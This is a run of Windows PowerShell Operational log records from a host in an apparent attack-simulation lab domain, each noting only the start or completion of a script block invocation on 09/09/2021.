OpCode=On create calls
RecordNumber=2039616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039611
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039610
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039609
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039608
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039592
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039591
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039585
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039563
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
